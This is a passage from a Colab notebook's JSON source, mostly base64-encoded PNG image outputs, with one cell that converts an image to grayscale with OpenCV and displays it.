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\n" + }, + "metadata": {} + } + ] + }, + { + "cell_type": "code", + "source": [ + "gray_image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n", + "cv2_imshow(gray_image)" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 497 + }, + "id": "PSTkvDb3ZU_O", + "outputId": "b073acd9-57aa-48e9-9cc2-4b4344c045d5" + }, + "execution_count": 13, + "outputs": [ + { + "output_type": "display_data", + "data": { + "text/plain": [ + "" + ], + "image/png": "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